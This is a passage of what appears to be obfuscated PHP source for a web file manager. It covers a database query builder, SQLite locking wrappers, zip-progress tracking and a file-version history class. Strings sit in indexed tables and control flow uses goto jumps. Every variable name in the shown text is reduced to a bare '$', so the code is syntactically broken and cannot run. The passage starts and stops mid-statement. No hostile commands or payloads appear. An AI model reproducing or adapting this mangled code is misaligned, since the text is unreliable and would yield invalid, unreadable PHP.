($[$[1824]] == $[359]) { $ = $[$[1706]] / $[$[831]]; $[$[1707]] = 0.3 + $ * 0.4; } else { if ($[$[1824]] == $[109]) { $ = 0; if ($[$[1760]] == $[109]) { $ = $[$[1759]]; } $ = ($[$[1763]] + $) / $[$[808]]; $[$[1707]] = 0.3 + 0.4 + $ * 0.3; } } } if ($[$[1707]] > 0) { $ = timeFloat() - $[$[1709]] - $[$[1712]]; $[$[1713]] = $ * (1 - $[$[1707]]) / $[$[1707]]; } } public function addFile($) { $ =& $_SERVER[]; $ =& $this->task; $ = IO::info($); $[$[1756]] = $[$[32]]; $[$[1758]] = $[$[78]]; $[$[1759]] = 0; $[$[1115]] = $[1779]; $[$[1760]] = $[1245]; $[$[808]] = $[$[78]]; $[$[831]] = 1; $ = 0; $[$[1767]] = array($[1768] => $ + 1, $[464] => $[$[32]], $[86] => $[$[86]], $[553] => $[$[553]] ? $[$[553]] : $[$[86]]); $this->update(); } public function zipEvent($, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1756]] = get_path_this($); $[$[1758]] = $; $[$[1759]] = $; $[$[1115]] = $ == $[1826] ? $[1827] : $[1828]; $[$[1760]] = $[12]; $[$[808]] = $; $[$[1824]] = $[359]; $this->update(); } public function unzipAfter($) { $ =& $_SERVER[]; $ =& $this->task; $[$[1824]] = $[109]; $ = IO::infoWithChildren($); $ = 0; $[$[1767]] = array($[1768] => $ + 1, $[464] => $[$[32]], $[86] => $[$[86]], $[553] => $[$[553]] ? $[$[553]] : $[$[86]]); if ($[$[33]] == $[216]) { $[$[831]] = 1; } else { $[$[831]] = $[$[81]][$[79]]; } $[$[1115]] = $[12]; $[$[1760]] = 0; $[$[1706]] = 0; $[$[1758]] = 0; $[$[1759]] = 0; $[$[1756]] = $[12]; $[$[1763]] = 0; $[$[808]] = $[$[78]]; $this->update(); self::log($[1829] . json_encode(array($, $))); } public function nameParse($) { $ =& $_SERVER[]; $ =& $this->task; if ($[$[1824]] == $[1245]) { $[$[1824]] = $[359]; $[$[1763]] = 0; $[$[808]] = 0; } $ = get_path_this($); if (strstr($, $[10])) { $[$[1706]] += 1; $[$[831]] += 1; } $[$[1756]] = $; $this->update(); } } goto A; A: class DbSqlite extends DbSqliteBase { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($[13]); return $; } public function execute($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($[13]); return $; } } class DbSqlite3 extends DbSqlite3Base { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($[13]); return $; } public function execute($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($[13]); return $; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "_think_"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("eq" => "=", "neq" => "<>", "gt" => ">", "egt" => ">=", "lt" => "<", "elt" => "<=", "notlike" => "NOT LIKE", "like" => "LIKE", "in" => "IN", "notin" => "NOT IN", "not in" => "NOT IN", "between" => "BETWEEN", "notbetween" => "NOT BETWEEN", "not between" => "NOT BETWEEN"); protected $selectSql = "SELECT%DISTINCT% %FIELD% FROM %TABLE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%COMMENT%"; protected $bind = array(); public static function getInstance() { $ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][1011], $); } public function factory($ = '') { $ =& $_SERVER[]; $ = $this->parseConfig($); if (empty($[$[1012]])) { think_exception(think_lang($[1013])); } $this->dbType = ucwords(strtolower($[$[1012]])); $ = $[1014] . $this->dbType; if (class_exists($)) { $ = new $($); if ($[1015] != strtolower($[$[1012]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($[$[967]]); } } else { think_exception(think_lang($[1016]) . $[1017] . $); } return $; } public function __call($, $) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } } protected function _getDsnType($) { $ = explode($_SERVER[][4], $); $ = strtoupper(trim($[0])); return $; } private function parseConfig($ = '') { $ =& $_SERVER[]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($[1012] => $[$[1018]], $[939] => $[$[1019]], $[940] => $[$[1020]], $[937] => $[$[1021]], $[938] => $[$[1022]], $[21] => $[$[1023]], $[967] => $[$[1024]], $[17] => isset($[$[1025]]) ? $[$[1025]] : array()); } elseif (empty($)) { if (think_config($[1026]) && $[1015] != strtolower(think_config($[1027]))) { $ = $this->parseDSN(think_config($[1026])); } else { $ = array($[1012] => think_config($[1027]), $[939] => think_config($[1028]), $[940] => think_config($[1029]), $[937] => think_config($[1030]), $[938] => think_config($[1031]), $[21] => think_config($[292]), $[967] => think_config($[1026]), $[17] => think_config($[1032])); } } return $; } protected function initConnect($ = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $) { $this->_linkID = $; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ = false) { $ =& $_SERVER[]; static $ = array(); static $ = -1; if (empty($)) { foreach ($this->config as $ => $) { $[$] = explode($[50], $); } } if (think_config($[1033])) { if ($ || think_config($[441]) === !0) { $ = floor(mt_rand(0, think_config($[1034]) - 1)); $ = $; } else { if (is_numeric(think_config($[1035]))) { $ = think_config($[1035]); } else { $ = floor(mt_rand(think_config($[1034]), count($[$[937]]) - 1)); } } } else { $ = floor(mt_rand(0, count($[$[937]]) - 1)); $ = $; } $ = $ !== -1 ? $ : $; $ = array($[939] => isset($[$[939]][$]) ? $[$[939]][$] : $[$[939]][0], $[940] => isset($[$[940]][$]) ? $[$[940]][$] : $[$[940]][0], $[937] => isset($[$[937]][$]) ? $[$[937]][$] : $[$[937]][0], $[938] => isset($[$[938]][$]) ? $[$[938]][$] : $[$[938]][0], $[21] => isset($[$[21]][$]) ? $[$[21]][$] : $[$[21]][0], $[967] => isset($[$[967]][$]) ? $[$[967]][$] : $[$[967]][0], $[17] => isset($[$[17]][$]) ? $[$[17]][$] : $[$[17]][0]); return $this->connect($, $); } public function parseDSN($) { $ =& $_SERVER[]; if (empty($)) { return !1; } $ = parse_url($); if ($[$[197]]) { $ = array($[1012] => $[$[197]], $[939] => isset($[$[632]]) ? $[$[632]] : $[12], $[940] => isset($[$[1036]]) ? $[$[1036]] : $[12], $[937] => isset($[$[198]]) ? $[$[198]] : $[12], $[938] => isset($[$[199]]) ? $[$[199]] : $[12], $[21] => isset($[$[86]]) ? substr($[$[86]], 1) : $[12]); } else { preg_match($[1037], trim($), $); $ = array($[1012] => $[1], $[939] => $[2], $[940] => $[3], $[937] => $[4], $[938] => $[5], $[21] => $[6]); } $[$[967]] = $[12]; return $; } protected function debug() { $ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[1038]; if (think_config($[1039])) { think_status($[1040]); think_trace($this->queryStr . $[1041] . think_status($[24], $[1040], 6) . $[1042], $[12], $[1043]); } } protected function parseLock($ = false) { $ =& $_SERVER[]; if (!$) { return $[12]; } if ($[969] == $this->dbType) { return $[1044]; } return $[1045]; } protected function parseSet($) { $ =& $_SERVER[]; foreach ($ as $ => $) { if (is_array($) && $[343] == $[0]) { $[] = $this->parseKey($) . $[935] . $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($) . $[935] . $this->parseValue($); } } return $[1046] . implode($[50], $); } protected function bindParam($, $) { $this->bind[$_SERVER[][4] . $] = $; } protected function parseBind($) { $ = array_merge($this->bind, $); $this->bind = array(); return $; } function parseKey(&$, $ = true) { if ($) { $ = $this->parseKeyCheck($); } return $; } function parseKeyCheck($) { $ =& $_SERVER[]; $ = trim($); if (!preg_match($[1047], $)) { think_exception($[1048] . $); } return $; } protected function parseValue($) { $ =& $_SERVER[]; if (is_string($)) { $ = $[1008] . $this->escapeString($) . $[1008]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[343]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[1009]), $); } elseif (is_bool($)) { $ = $ ? $[90] : $[214]; } elseif (is_null($)) { $ = $[105]; } return $; } protected function parseField($) { $ =& $_SERVER[]; if (is_string($) && strpos($, $[50])) { $ = explode($[50], $); } if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($, !1) . $[1049] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ = implode($[50], $); } elseif (is_string($) && !empty($)) { $ = $; } else { $ = $[205]; } return $; } protected function parseTable($) { $ =& $_SERVER[]; if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($) . $[53] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ = $; } elseif (is_string($)) { if (strstr($, $[53])) { return $; } $ = explode($[50], $); array_walk($, array($this, $[957])); } return $[951] . trim(implode($[1050], $), $[431]) . $[951]; } protected function parseWhere($) { $ =& $_SERVER[]; $ = $[12]; if (is_string($)) { $ = $; } else { $ = isset($[$[1051]]) ? strtoupper($[$[1051]]) : $[12]; if (in_array($, array($[1052], $[1053], $[1054]))) { $ = $[53] . $ . $[53]; unset($[$[1051]]); } else { $ = $[1055]; } foreach ($ as $ => $) { $ .= $[323]; if (is_numeric($)) { $ = $[1056]; } if (0 === strpos($, $[11])) { $ .= $this->parseThinkWhere($, $); } else { if (!preg_match($[1057], trim($))) { think_exception(think_lang($[1058]) . $[4] . $); } $ = is_array($) && isset($[$[1059]]); $ = trim($); if (strpos($, $[329])) { $ = explode($[329], $); $ = array(); foreach ($ as $ => $) { $ = $ ? $[$] : $; $[] = $[306] . $this->parseWhereItem($this->parseKey($), $) . $[956]; } $ .= implode($[1060], $); } elseif (strpos($, $[330])) { $ = explode($[330], $); $ = array(); foreach ($ as $ => $) { $ = $ ? $[$] : $; $[] = $[306] . $this->parseWhereItem($this->parseKey($), $) . $[956]; } $ .= implode($[1055], $); } else { $ .= $this->parseWhereItem($this->parseKey($), $); } } $ .= $[324] . $; } $ = substr($, 0, -strlen($)); } return empty($) ? $[12] : $[1061] . $; } protected function parseWhereItem($, $) { $ =& $_SERVER[]; $ = $[12]; if (is_array($)) { if (is_string($[0])) { $ = strtolower($[0]); if (in_array($[0], array($[935], $[1062], $[1063], $[1064], $[1065], $[1066]))) { $ .= $ . $[53] . $[0] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1067], $[0])) { $ .= $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1068], $[0])) { if (is_array($[1])) { $ = isset($[2]) ? strtoupper($[2]) : $[1053]; if (in_array($, array($[1052], $[1053], $[1054]))) { $ = array(); foreach ($[1] as $) { $[] = $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($); } $ .= $[306] . implode($[53] . $ . $[53], $) . $[956]; } } else { $ .= $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($[1]); } } elseif ($[343] == $) { $ .= $[954] . $ . $[53] . $[1] . $[1069]; } elseif (preg_match($[1070], $[0])) { $ .= $[0]; } elseif (preg_match($[1071], $[0])) { if (isset($[2]) && $[343] == $[2]) { $ .= $ . $[53] . $this->exp[$] . $[53] . $[1]; } else { if (is_string($[1])) { $[1] = explode($[50], $[1]); } $ = implode($[50], $this->parseValue($[1])); $ .= $ . $[53] . $this->exp[$] . $[954] . $ . $[956]; } } elseif (preg_match($[1072], $[0])) { $ = is_string($[1]) ? explode($[50], $[1]) : $[1]; $ .= $[954] . $ . $[53] . $this->exp[$] . $[53] . $this->parseValue($[0]) . $[1055] . $this->parseValue($[1]) . $[324]; } else { think_exception(think_lang($[1058]) . $[4] . $[0]); } } else { $ = count($); $ = $[12]; if (is_string($[$ - 1])) { $ = isset($[$ - 1]) ? strtoupper($[$ - 1]) : $[12]; if (in_array($, array($[1052], $[1053], $[1054]))) { $ = $ - 1; } } else { $ = $[1052]; } for ($ = 0; $ < $; $++) { $ = is_array($[$]) ? $[$][1] : $[$]; if ($[343] == strtolower($[$][0])) { $ .= $[306] . $ . $[53] . $ . $[1069] . $ . $[53]; } else { $ = is_array($[$]) ? $this->exp[strtolower($[$][0])] : $[935]; if (!$ && is_array($[$]) && in_array($[$][0], array($[935], $[1062], $[1063], $[1064], $[1065], $[1066]))) { $ = $[$][0]; } $ .= $[306] . $ . $[53] . $ . $[53] . $this->parseValue($) . $[1069] . $ . $[53]; } } $ = substr($, 0, -4); } } else { $ .= $ . $[1073] . $this->parseValue($); } return $; } protected function parseThinkWhere($, $) { $ =& $_SERVER[]; $ = $[12]; switch ($) { case $[398]: $ = $; break; case $[1056]: $ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $[1074]: parse_str($, $); if (isset($[$[1051]])) { $ = $[53] . strtoupper($[$[1051]]) . $[53]; unset($[$[1051]]); } else { $ = $[1055]; } $ = array(); foreach ($ as $ => $) { $[] = $this->parseKey($) . $[1073] . $this->parseValue($); } $ = implode($, $); break; } return $; } protected function parseLimit($) { $ =& $_SERVER[]; return !empty($) ? $[51] . $ . $[53] : $[12]; } protected function parseJoin($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { if (is_array($)) { foreach ($ as $ => $) { if (!1 !== stripos($, $[1075])) { $ .= $[53] . $; } else { $ .= $[1076] . $; } } } else { $ .= $[1076] . $; } } $ = preg_replace($[1077], think_config($[981]) . $[1078], $); return $; } protected function parseOrder($) { $ =& $_SERVER[]; if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (is_numeric($)) { $[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($[1079], $[1080])) ? $[53] . $ : $[12]; if (preg_match($[1081], $)) { $[] = $this->parseKey($) . $; } else { think_exception($[1082] . $); } } } $ = implode($[50], $); } return !empty($) ? $[1083] . $ : $[12]; } protected function parseGroup($) { $ =& $_SERVER[]; return !empty($) ? $[1084] . $ : $[12]; } protected function parseHaving($) { $ =& $_SERVER[]; return !empty($) ? $[1085] . $ : $[12]; } protected function parseComment($) { $ =& $_SERVER[]; return !empty($) ? $[1086] . $ . $[1087] : $[12]; } protected function parseDistinct($) { $ =& $_SERVER[]; return !empty($) ? $[1088] : $[12]; } protected function parseUnion($) { $ =& $_SERVER[]; if (empty($)) { return $[12]; } if (isset($[$[394]])) { $ = $[1089]; unset($[$[394]]); } else { $ = $[1090]; } foreach ($ as $) { $[] = $ . (is_array($) ? $this->buildSelectSql($) : $); } return implode($[53], $); } public function insert($, $ = array(), $ = false) { $ =& $_SERVER[]; $ = $ = array(); $this->model = $[$[327]]; foreach ($ as $ => $) { if (is_array($) && $[343] == $[0]) { $[] = $this->parseKey($); $[] = $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($); $[] = $this->parseValue($); } } $ = ($ ? $[958] : $[959]) . $[960] . $this->parseTable($[$[325]]) . $[954] . implode($[50], $) . $[955] . implode($[50], $) . $[956]; $ .= $this->parseLock(isset($[$[889]]) ? $[$[889]] : !1); $ .= $this->parseComment(!empty($[$[400]]) ? $[$[400]] : $[12]); return $this->execute($, $this->parseBind(!empty($[$[331]]) ? $[$[331]] : array())); } public function selectInsert($, $, $ = array()) { $ =& $_SERVER[]; $this->model = $[$[327]]; if (is_string($)) { $ = explode($[50], $); } array_walk($, array($this, $[957])); $ = $[1091] . $this->parseTable($) . $[954] . implode($[50], $) . $[1069]; $ .= $this->buildSelectSql($); return $this->execute($, $this->parseBind(!empty($[$[331]]) ? $[$[331]] : array())); } public function update($, $) { $ =& $_SERVER[]; $this->model = $[$[327]]; $ = $[1092] . $this->parseTable($[$[325]]) . $this->parseSet($) . $this->parseWhere(!empty($[$[321]]) ? $[$[321]] : $[12]) . $this->parseOrder(!empty($[$[411]]) ? $[$[411]] : $[12]) . $this->parseLimit(!empty($[$[338]]) ? $[$[338]] : $[12]) . $this->parseLock(isset($[$[889]]) ? $[$[889]] : !1) . $this->parseComment(!empty($[$[400]]) ? $[$[400]] : $[12]); return $this->execute($, $this->parseBind(!empty($[$[331]]) ? $[$[331]] : array())); } public function delete($ = array()) { $ =& $_SERVER[]; $this->model = $[$[327]]; $ = $[1093] . $this->parseTable($[$[325]]) . $this->parseWhere(!empty($[$[321]]) ? $[$[321]] : $[12]) . $this->parseOrder(!empty($[$[411]]) ? $[$[411]] : $[12]) . $this->parseLimit(!empty($[$[338]]) ? $[$[338]] : $[12]) . $this->parseLock(isset($[$[889]]) ? $[$[889]] : !1) . $this->parseComment(!empty($[$[400]]) ? $[$[400]] : $[12]); return $this->execute($, $this->parseBind(!empty($[$[331]]) ? $[$[331]] : array())); } public function select($ = array()) { $ =& $_SERVER[]; $this->model = $[$[327]]; $ = $this->buildSelectSql($); $ = isset($[$[395]]) ? $[$[395]] : !1; if ($) { $ = is_string($[$[96]]) ? $[$[96]] : $[1094] . md5($); $ = think_cache($, $[12], $); if (!1 !== $) { return $; } } $ = $this->query($, $this->parseBind(!empty($[$[331]]) ? $[$[331]] : array())); if ($ && !1 !== $) { think_cache($, $, $); } return $; } public function buildSelectSql($ = array()) { $ =& $_SERVER[]; if (isset($[$[399]])) { if (strpos($[$[399]], $[50])) { list($, $) = explode($[50], $[$[399]]); } else { $ = $[$[399]]; } $ = $ ? $ : 1; $ = isset($) ? $ : (is_numeric($[$[338]]) ? $[$[338]] : 20); $ = $ * ((int) $ - 1); $[$[338]] = $ . $[50] . $; } if (think_config($[1095])) { $ = $[1096] . md5(serialize($)); $ = think_cache($); if ($) { return $; } } $ = $this->parseSql($this->selectSql, $); $ .= $this->parseLock(isset($[$[889]]) ? $[$[889]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($, $ = array()) { $ =& $_SERVER[]; $ = str_replace(array($[1097], $[1098], $[1099], $[1100], $[1101], $[1102], $[1103], $[1104], $[1105], $[1106], $[1107]), array($this->parseTable("{$[$[325]]}"), $this->parseDistinct(isset($[$[1108]]) ? $[$[1108]] : !1), $this->parseField(!empty($[$[319]]) ? $[$[319]] : $[205]), $this->parseJoin(!empty($[$[328]]) ? $[$[328]] : $[12]), $this->parseWhere(!empty($[$[321]]) ? $[$[321]] : $[12]), $this->parseGroup(!empty($[$[549]]) ? $[$[549]] : $[12]), $this->parseHaving(!empty($[$[1109]]) ? $[$[1109]] : $[12]), $this->parseOrder(!empty($[$[411]]) ? $[$[411]] : $[12]), $this->parseLimit(!empty($[$[338]]) ? $[$[338]] : $[12]), $this->parseUnion(!empty($[$[393]]) ? $[$[393]] : $[12]), $this->parseComment(!empty($[$[400]]) ? $[$[400]] : $[12])), $); return $; } public function getLastSql($ = '') { return $ ? $this->modelSql[$] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($) { return addslashes($); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } goto D; b: class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[91]]; if ($[$[1267]] != 1) { return; } if ($[$[1268]] <= 0) { return; } if (isset($_REQUEST[$[1269]]) && $_REQUEST[$[1269]] == $[90]) { return; } Hook::bind($[1270], $[1271]); Hook::bind($[1272], $[1273]); Hook::bind($[1274], $[1275]); Hook::bind($[1276], $[1277]); Hook::bind($[1278], $[1279]); Hook::bind($[1280], $[1281]); } public static function eventBeforeUpload($) { if ($[3] && $[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($) { $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeCopyFile($, $, $, $, $, $) { $ =& $_SERVER[]; if (isset($->_data[$[1206]]) && $->_data[$[1206]]) { return; } $ = $->getPathOuter($); $ = self::parsePath($); if (!$) { return; } self::add($); } public static function eventBeforeRename($) { $ =& $_SERVER[]; $ = self::parsePath($[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$[33]] == $[216]) { $ = self::listData($); if ($ && $[$[415]]) { self::moveHistory($, $[1]); } } else { IO::rename($[$[86]], $[1]); } } public static function eventBeforeMove($) { $ =& $_SERVER[]; $ = self::parsePath($[0]); if (!$) { return; } $ = self::parsePath($[1]); if (!$) { return; } $ = $[3]; $ = self::checkInHistory($); if (!$) { return; } $ = self::pathHistory($); if ($[$[33]] == $[216]) { $ = self::listData($); $ = rtrim($, $[8]) . $[8] . ($ ? $ : get_path_this($)); $ = self::listData($); if ($ && $[$[415]] && $ && $[$[415]]) { return self::clear($); } if ($ && $[$[415]]) { self::moveHistory($, $, $); } } else { IO::move($[$[86]], $, !1, $); self::clearEmptyFolder(IO::pathFather($[$[86]])); } } public static function eventAfterRemove($, $) { $ =& $_SERVER[]; if (!$) { return; } $ = self::parsePath($[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$[33]] == $[216]) { $ = self::listData($, !1); if ($ && $[$[415]]) { self::clear($, !1); } } else { IO::remove($[$[86]]); self::clearEmptyFolder(IO::pathFather($[$[86]])); } } private static function checkInHistory($) { $ = self::pathHistory($); if (!IO::exist($)) { $ .= $_SERVER[][1282]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($) { $ =& $_SERVER[]; if (!$) { return !1; } if ($GLOBALS[$[1283]]) { return; } $ = KodIO::parse($); $ = $[$[33]]; $ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$ || !$[$[1284]]) { return !1; } if (substr($, 0, strlen(DATA_PATH . $[1285])) == DATA_PATH . $[1285]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $ = IO::init($); if ($->pathParse[$[1202]]) { return self::parsePath($->pathParse[$[1202]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $[1286]); foreach ($ as $) { if (!$ && substr($, 0, strlen($)) == $) { return !1; } } self::log($GLOBALS[$[1197]] . $[1287] . $); return $; } private static function pathHistory($) { $ =& $_SERVER[]; $ = self::$_historyBase . ltrim(KodIO::clear($), $[8]); $ = str_replace(array($[1288]), array($[1289]), $); return $; } public static function log($) { } public static function historyCount($) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $) { $ = get_path_father($); if (!$[$]) { $[$] = array(); } $[$][] = get_path_this($); } foreach ($ as $ => $) { $ = self::parsePath($); if (!$) { continue; } foreach ($ as $) { $ = self::listData(rtrim($, $[8]) . $[8] . $, !1); if ($ && $[$[415]]) { $[rtrim($, $[8]) . $[8] . $] = count($[$[415]]); } } } return $; } public static function add($) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } $ = Model($[815])->get($[1290]); $ = intval($GLOBALS[$[6]][$[91]][$[1268]]); $ = $ == $[1291] ? min(5, $) : $; if ($ <= 0) { return; } $ = IO::info($); $ = $[$[415]]; if ($[$[78]] == 0) { return; } if ($[$[78]] >= 1024 * 1024 * 500) { return !1; } $ = IO::hashSimple($); if ($ && $[0][$[642]] == $) { return !0; } if (array_key_exists($[219], $) && !$[$[219]]) { return !1; } $ = short_id(time()); $ = array($[445] => $, $[642] => $, $[32] => $[$[32]] . $[10] . date($[1292]) . rand_string(1), $[78] => $[$[78]], $[497] => USER_ID, $[217] => time(), $[1293] => $[12]); IO::mkdir($[$[1294]]); $ = IO::copy($, $[$[1294]], !1, $[$[32]]); if (!$) { self::clearEmptyFolder($[$[1294]]); return !1; } array_unshift($, $); if (count($) > $) { $ = array_slice($, $); foreach ($ as $) { IO::remove($[$[1294]] . $[$[32]]); } $ = array_slice($, 0, $); } return self::saveData($[$[1295]], $); } public static function remove($, $) { $ =& $_SERVER[]; $ = self::listData($); $ = array(); if (!$) { return !1; } foreach ($[$[415]] as $) { if ($[$[445]] == $) { IO::remove($[$[1294]] . $[$[32]]); continue; } $[] = $; } return self::saveData($[$[1295]], $); } public static function clear($, $ = true) { $ =& $_SERVER[]; $ = self::listData($, $); if (!$) { return !1; } foreach ($[$[415]] as $) { IO::remove($[$[1294]] . $[$[32]]); } return self::saveData($[$[1295]], array()); } public static function moveHistory($, $ = '', $ = '') { $ =& $_SERVER[]; $ = self::listData($, !1); if (!$ || !$[$[415]]) { return !1; } $ = $[1282]; $ = $ ? $ : get_path_this($); $ = $ ? $ : $[$[1294]]; $ = substr(get_path_this($[$[1295]]), 0, -strlen($)); foreach ($[$[415]] as $ => $) { $ = $ . substr($[$[32]], strlen($)); $ = IO::move($[$[1294]] . $[$[32]], $, !1, $); if ($) { $[$[415]][$][$[32]] = $; } } $[$[1295]] = IO::move($[$[1295]], $, !1, $ . $); self::saveData($[$[1295]], $[$[415]]); self::clearEmptyFolder($[$[1294]]); } public static function rollback($, $) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } $ = IO::info($); foreach ($[$[415]] as $ => $) { if ($[$[445]] == $) { self::add($); $ = $[$[1294]] . $[$[32]]; $ = IO::copy($, IO::pathFather($), REPEAT_REPLACE, $[$[32]]); if ($) { self::remove($, $); } return $; } } return !1; } public static function setDetail($, $, $) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } foreach ($[$[415]] as $ => $) { if ($[$[445]] == $) { $[$[415]][$][$[1293]] = $; self::saveData($[$[1295]], $[$[415]]); return !0; } } return !1; } public static function fileInfo($, $) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { show_json(LNG($[107]), !1); } $ = $[12]; foreach ($[$[415]] as $ => $) { if ($[$[445]] != $) { continue; } $ = $[$[1294]] . $[$[32]]; break; } if (!$) { show_json(LNG($[107]), !1); } return IO::info($); } public static function fileOut($, $, $ = false) { $ =& $_SERVER[]; $ = self::fileInfo($, $); $ =& $GLOBALS[$[7]]; $ = isset($[$[1245]]) && $[$[1245]] == 1; if (isset($[$[33]]) && $[$[33]] == $[1296]) { return IO::fileOutImage($[$[86]], $[$[1297]]); } IO::fileOut($[$[86]], $, get_path_this($)); } public static function listData($, $ = true) { $ =& $_SERVER[]; if ($ && !IO::exist($)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($); $ = array($[1295] => $ . $[1282], $[1294] => rtrim(get_path_father($), $[8]) . $[8], $[415] => array()); $ = IO::getContent($[$[1295]]); if ($) { $ = json_decode($, !0); if (is_array($)) { $[$[415]] = $; } } return $; } private static function saveData($, $) { $ =& $_SERVER[]; self::log($[1298] . $ . $[73] . count($), $[796]); if ($) { return IO::setContent($, json_encode($)); } $ = IO::pathFather($); IO::remove($); self::clearEmptyFolder($); return !0; } public static function clearEmptyFolder($) { $ =& $_SERVER[]; if (trim($, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ = IO::pathFather($); $ = IO::has($, !0); if ($[$[225]] > 0 || $[$[226]] > 0) { return; } IO::remove($); self::clearEmptyFolder($); } private static function getBasePath() { $ =& $_SERVER[]; $ = Model($[1299])->get($[1300]); if ($) { if (!IO::exist($)) { IO::mkdir($); } if (get_path_this($) == $[1285]) { $ = $[1301] . rand_string(8); @rename($, get_path_father($) . $[8] . $); $ = DATA_PATH . $ . $[8]; file_put_contents(DATA_PATH . $[1235], $[12]); Model($[1299])->set($[1300], $); } return $; } $ = DATA_PATH . $[1301] . rand_string(8) . $[8]; $ = IO::mkdir($); $ = rtrim($, $[8]) . $[8]; file_put_contents($ . $[1235], $[12]); file_put_contents(DATA_PATH . $[1235], $[12]); Model($[1299])->set($[1300], $); return $; } } class KodIO { const KOD_SOURCE = "{source}"; const KOD_USER_RECYCLE = "{userRecycle}"; const KOD_USER_FAV = "{userFav}"; const KOD_USER_FILE_TAG = "{userFileTag}"; const KOD_USER_FILE_TYPE = "{userFileType}"; const KOD_GROUP_ROOT_SELF = "{groupRootSelf}"; const KOD_USER_SHARE = "{userShare}"; const KOD_USER_SHARE_LINK = "{userShareLink}"; const KOD_USER_SHARE_TO_ME = "{shareToMe}"; const KOD_SHARE_ITEM = "{shareItem}"; const KOD_SHARE_LINK = "{shareItemLink}"; const KOD_SEARCH = "{search}"; const KOD_BLOCK = "{block}"; const KOD_IO = "{io}"; const KOD_USER_RECENT = "{userRencent}"; const KOD_USER_DRIVER = "{driver}"; public static function typeList() { $ =& $_SERVER[]; return array($[1302] => self::KOD_SOURCE, $[1303] => self::KOD_USER_RECYCLE, $[1304] => self::KOD_USER_FAV, $[1305] => self::KOD_USER_FILE_TAG, $[1306] => self::KOD_USER_FILE_TYPE, $[1307] => self::KOD_GROUP_ROOT_SELF, $[1308] => self::KOD_USER_SHARE, $[1309] => self::KOD_USER_SHARE_LINK, $[1310] => self::KOD_USER_SHARE_TO_ME, $[1311] => self::KOD_SHARE_ITEM, $[1312] => self::KOD_SHARE_LINK, $[1313] => self::KOD_SEARCH, $[1314] => self::KOD_BLOCK, $[1315] => self::KOD_IO, $[1316] => self::KOD_USER_RECENT, $[1317] => self::KOD_USER_DRIVER); } public static function parse($) { $ =& $_SERVER[]; $ = 